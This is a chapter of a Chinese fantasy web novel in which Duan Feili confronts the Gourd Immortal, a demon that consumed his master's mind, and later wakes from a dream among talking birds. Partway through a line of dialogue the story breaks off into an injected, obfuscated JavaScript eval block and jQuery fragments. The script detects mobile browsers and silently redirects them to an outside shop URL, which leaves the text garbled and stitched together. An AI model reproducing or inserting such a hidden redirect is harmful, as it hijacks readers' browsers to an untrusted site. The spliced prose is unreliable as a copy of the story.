双头鸟又递给段非离一根羽毛。
他迫不及待地拂过剑身。霎时,金光凝聚,形成一个比手掌稍大的身形——是修士。
段非离叫道:“师父!”
那身形呈端坐姿势,神情庄重,双眸紧闭,宛如一尊神圣的雕塑,他手臂上那道长长的疤痕,清晰可见。
“师父,是你么?”段非离伸手想要触碰那金光,忽然身形如风沙般吹散,刹那湮灭,他什么也抓不住。
他慌忙转向双头鸟,想要伸手去扯它的羽毛。双头鸟似乎看出了他的用意,连忙摇着头躲闪:“骂骂!骂骂!”
“小白,就借一根羽毛,就一根,我以后还你!”段非离哀求道。
“骂骂!”它忿忿抗议,用翅膀拍开他的手。
“别这么小气,你又不差这一根。”他张开双手,像是要捕捉一只无路可逃的小兔。
双头鸟退到了石壁边,摆出一副咒骂的模样。忽然,它的两只头定在空中,眼睛望向段非离身后。
段非离转过头,看到了一缕若有若无的金光。他伸出手想要接住微光,却见金光向洞口的方向飘去。段非离伸出手掌,想要护住,却见那光继续向外飘去。
他追着光跑出洞外,此时仍是黑夜,月色空明。那缕金光始终在他前方,似是要为他引路,他紧随其后。
忽听身后一阵哒哒疾行的脚步声,他在月光中,看到双头鸟正用两只嘴衔着剑。
他接过剑:“小白,谢了!”双头鸟识趣地在他衣服上蹭了蹭,摆出一副小跟班的讨好姿态。
“我们走吧!”段非离拍拍它的脑袋,继续在林中穿行。
他怕那缕金光突然不见,或者不小心跟丢,因此不敢大意,七折八绕,穿过几座山林,忽然来到一片宽阔水域,月影沉沉,笼罩着如镜般的大湖。
湖畔石上,坐着一个人。滚圆的身材,一身绿色衣衫。
段非离脱口而出:“扇宝儿!”
那人望着湖水,冷冷道:“你知道,我不是。”
“那你认为,你是谁?”段非离问道。
“小子,你师父难道没告诉过你?我是葫芦仙人。”
“葫芦仙人?所以,你是仙?”他一字一字读出名字后,忍不住说道。
默然片刻。仍是冰冷的声音:“谁说叫仙人,就非得是仙?”
段非离奇道:“你既然不是仙,那是什么?”
他转过头来,眼中射出两道精光。那森然可怖的神情,令段非离浑身战栗,他心中一惊,嘟哝道:“莫非是妖?”
“不错。”
段非离撇撇嘴:“哦。”
“你难道不怕我?”
段非离摇摇头:“我不知道。再说,扇宝儿本来也不是人。”
葫芦仙人冷笑:“我生来就需吸食他人心识,若非如此,无常鬼早不知拉我下过多少次地狱了。不过嘛,那时,我悄悄化作一株葫芦藤,你师父就将我栽了起来,他修行时,我便偷偷吸食他的道力。他那时天真得可以,竟然浑然不觉,后来呢,也不知他哪根筋出了错,竟突然封了我的神识,将我变成一个傻乎乎的扇宝儿,受你们戏耍,这是本仙平生大辱!”
段非离道:“扇宝儿,不,葫芦仙人,所以你记恨在心,就要取师父心识。”
葫芦仙人哼道:“不全对。他将我变成一个傻小儿,我自然恨他。但他的心识,对我而言太过重要。我此生所食心识,没有上百,也有八十,但那些参杂了妄念痴怨的心识,犹如鸡肋,食之无味弃之可惜,但你师父的就不一样了,他的心识,于我而言是滋补珍品,我自是势在必得。”他的脸上已露出狰狞的笑容。
“你便吞……”段非离红了眼圈,他不忍说下去。
葫芦仙人漠然道:“是啊。不过,从前是我太高看了他,他那心识,实是乏味得很,我吃完后消化不良,还老做怪梦。”
段非离脑中轰然,脚下一虚,差点跌倒。他用剑亲手刺死了师父,从葫芦仙人夺去心识的那一刻起,他不就是已经知道,师父不会再回来了吗?可是,当他听到葫芦仙人的这番话,他最后的一丝希冀,也被彻底剥夺了。
今生今世,他与师父的缘分,已经结束了。
段非离踉跄着跪倒在地,胸口的绞痛撕扯着全身,他泫然道:“我不明白,为什么,为什么我的剑可以轻而易举地伤到他?”
葫芦仙人讥道:“你还不知道?他当时给你的剑,并不是一柄普通的凡尘之剑,而是他身上的伤痕所化。此为化剑,除非他魂飞魄散,否则此剑的加持力,会一直存在。你能伤到他,不过是因为此剑即如他自身一般,若是有人想用自己的一只手刺伤另一只,不是很容易的事吗?”
段非离握了握手中的剑,低声唤道:“师父。”眼泪却不争气地滚落下来。
葫芦仙人打着哈欠,讥嘲道:“好一出师徒情深啊!我看累了,该去睡觉了。”
段非离站起身,望着眼前平静的湖水,缓缓道:“你错了。”
葫芦仙人瞥了他一眼:“小子,我何错之有?”
“你从一开始,便错了。”
“什么?”葫芦仙人像是听到了什么新奇的八卦。
段非离道:“你说师父不知道你吸食他道力的事,其实,他从捡起葫芦藤的时候,他就知道你是妖,知道你会吸食他的道力,甚至知道你会随时要了他的命。”
葫芦仙人眼睛定了定,愠怒道:“荒唐!他若真知道,为何当时不杀了我?修士不是本就能降妖除魔吗?还是说,他想要看我的笑话?让我变成小傻子,供他愚弄?”
段非离直视葫芦仙人的双眼:“他没有要看你笑话,更没有想要愚弄你,他只是不愿见你越陷越深。”
“胡说!”
“我没有!他甘愿被你吸食道力,甘愿被你欺骗,甚至甘愿为你舍去生命,这是因为,他从一开始就认出了你,你曾是他的朋友,曾听他许下诺言,曾求他在五百世中度你。他做这一切,都是为了让你有一天,能够醒来。”
一阵纵声长笑,如镜般的大湖,掀起阵阵波浪。
笑罢,葫芦仙人很是不耐烦:“小子,我没空听你在这儿说笑话。你们凡人的心识,像是茅坑里的臭石头,我吃了就犯恶心,你快走吧!不过,这双头怪鸟留下,我看它的心识
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569163|204869||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,勉强能煲碗汤。”
双头鸟方才听他们二人你一眼我一语的对话,它显然听不懂,只是忽闪着两双眼睛。但此时,葫芦仙人用盯着猎物的眼睛盯上它,双头鸟立刻明白过来,身子一闪,已经躲在了段非离的背后,凄声低叫道:“骂骂!骂骂!”
段非离柔声安慰道:“小白,别怕!”
葫芦仙人已向他走去,段非离握紧长剑,拦在身前:“你别过来,否则,我的剑……”
葫芦仙人歪着头冷笑:“怎样?你还想像杀了你师父一样,杀了我?你这把剑,现在不过是块儿烂铁。”
他已经欺近,眼看伸手便能抓到双头鸟的鸟头。段非离心中悲痛,但手猛然提起,“唰”地一声,长剑出鞘,那缕若有若无的金光忽然飘来,落在剑身上,似是响起淡淡的铮鸣,清冷剑刃在月光中闪出清晖。
那光亮,化成一道划痕,葫芦仙人怔住了,他像是看到坚硬的壳儿划在那人的手臂上,他透过坚硬厚重的外壳,看到了鲜血淋漓的手臂,不知为何,他心底松了一口气,像是做了件非常对的事。那一刹那的力量极强,葫芦仙人心念瞬间崩塌粉碎,空空落落,没有边际。
良久。
月亮高悬,万里无云。
葫芦仙人缓缓吐出字:“小雪鸟,对不起,这次我还是……没能认出你……”
“非离——”渺远朦胧的声音从夜空传来。
“非离——非离——”
段非离觉得四周有很多人在呼唤他的名字,他抬头茫然望去。
“非离——非离——非离——”
突然,天地间狂风大作,海浪翻涌,他低头看去,葫芦仙人和双头鸟瞬间消失,天地间唯剩他一人。
“小白!葫芦仙人!”他高声喊道。
湖水迅速涨起,裹着飓风将他包围其中,他被浸入深海之中,四周声响回荡不绝。突然,天旋地转。段非离似乎被一股强大的力量拽住,穿透层层梦境。
溺水之人被救上了岸。
雨散云收。
段非离从昏迷中苏醒,他睁开眼,看到两只鸟头正打量着他。
“小白……”他哑声唤道。
两只鸟头同时露出欣喜表情。下一瞬,其中一个鸟头立刻扯起嗓子嚷道:“净满!非离醒了,但他脑袋烧坏了。”
另一只鸟头关切地瞧着他。突然,这只鸟被一脚踢开,另一个鸟头凑上脸来,抽泣道:“非离,你知道你睡了多久吗?呜呜,我以为再也见不到你了,要不是净满,呜呜……”
是雪儿和鸮儿。
净满走来,示意两只鸟不要打扰:“他刚醒来,身体还很虚弱。”
鸮儿已捧来一碗水。
雪儿咭咭呱呱地递到他嘴边:“净满,你先喝清泉水,想吃什么,我让鸮儿去做,他现在厨艺练得很凑活。”
段非离轻声道:“谢谢,我现在还不饿。”
说罢,他将清水一饮而尽。
雪儿一愣,扁嘴道:“非离,你不会真烧坏了吧,你以前可不是这样的。”
段非离微笑着,拍了拍两只鸟的脑袋:“你们放心,我没事。”